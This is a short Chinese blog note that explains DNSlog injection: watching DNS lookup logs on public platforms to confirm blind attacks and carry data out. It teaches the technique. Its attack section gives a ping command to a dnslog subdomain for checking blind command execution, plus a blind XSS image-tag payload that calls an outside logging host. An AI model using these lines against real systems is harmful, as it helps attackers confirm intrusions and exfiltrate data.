DNSlog注入——一种简单的验证无回显攻击方式

     分类: 个人笔记,网络安全 发布时间: 2020-03-11 11:46 2,645人浏览

某日在安全设备中发现了一个神奇的告警,显示的是有主机试图解析xxxxxx.dnslog.cn。这个有什么问题呢?

实际上这个涉及一个非常简单但巧妙的攻击方法——DNSlog注入。

一、DNSlog平台

DNSlog,顾名思义,即为DNS的解析记录。我们使用一台可以提供DNS服务器的主机或者直接使用DNSlog平台,就可以达成保存其他主机对某些特定域名的DNS解析日志。
DNSlog注入——一种简单的验证无回显攻击方式插图
如图,例如我有一个DNS解析服务器,绑定域名gt4404gb.com。另外有一台终端机试图访问www1.gt4404gb.com ,就会在递归查询下,去请求我的DNS解析服务器查询www1.gt440gb.com 最终留下解析日志记录。

在实际使用过程中,已经有很多搭建好的DNSlog平台可以使用,省去了配置DNS和域名的过程。
常用的几个网站为:
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io

以www.dnslog.cn 为例,点击Get SubDomain按钮,就会随机生成一个域名:例如7w017g.dnslog.cn。这是一个三级域名,信息可以写在第四级域名上。
DNSlog注入——一种简单的验证无回显攻击方式插图1
在终端机上尝试PING该域名,或者在该域名的子域名下加入想传输的消息:
DNSlog注入——一种简单的验证无回显攻击方式插图2
回到DNSlog平台上,refresh一下:
DNSlog注入——一种简单的验证无回显攻击方式插图3
可以看到产生的DNS日志。需要注意的是记录到的IP地址并不是终端机实际的IP地址,而是上级DNS服务器请求的地址。因此IP这一块并不准确。但是在域名中加入的信息,已经被完整记录下来了。

这个传输方式,实际上就是之前一篇文章DNS隧道解析原理初探中提到的DNS隧道攻击的具体实现方式之一。利用DNS迭代查询与泛解析机制,达成传输敏感信息的目的。

二、攻击利用

1.验证无回显攻击

(1)远程命令执行
既然我们可以通过ping的方式就收到DNS解析信息,那么就可以通过这种方式,验证无回显攻击的成功与否。最典型的例如远程命令执行。仅需执行ping xxxxxx.dnslog.cn,然后在dnslog平台查看是否出现解析记录即可。因为一般主机防御不会禁外发的ping请求,也不会禁DNS解析。因此这样的验证方式成功率极高。
(2)XSS
盲打xss:<img src=http://image.gjufa0.dnslog.cn onerror="alert(1)">
DNSlog注入——一种简单的验证无回显攻击方式插图4
DNSlog注入——一种简单的验证无回显攻击方式插图5

2.实际提取信息利用

因为可以外带数据,所以这类攻击手法也利用数据拼接等方法,用于提取数据操作。
例如:
(1)SQL注入拖库
(2)SSRF
(3)XXE

等等…


参考链接:
DNSlog注入


上一篇文章:

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注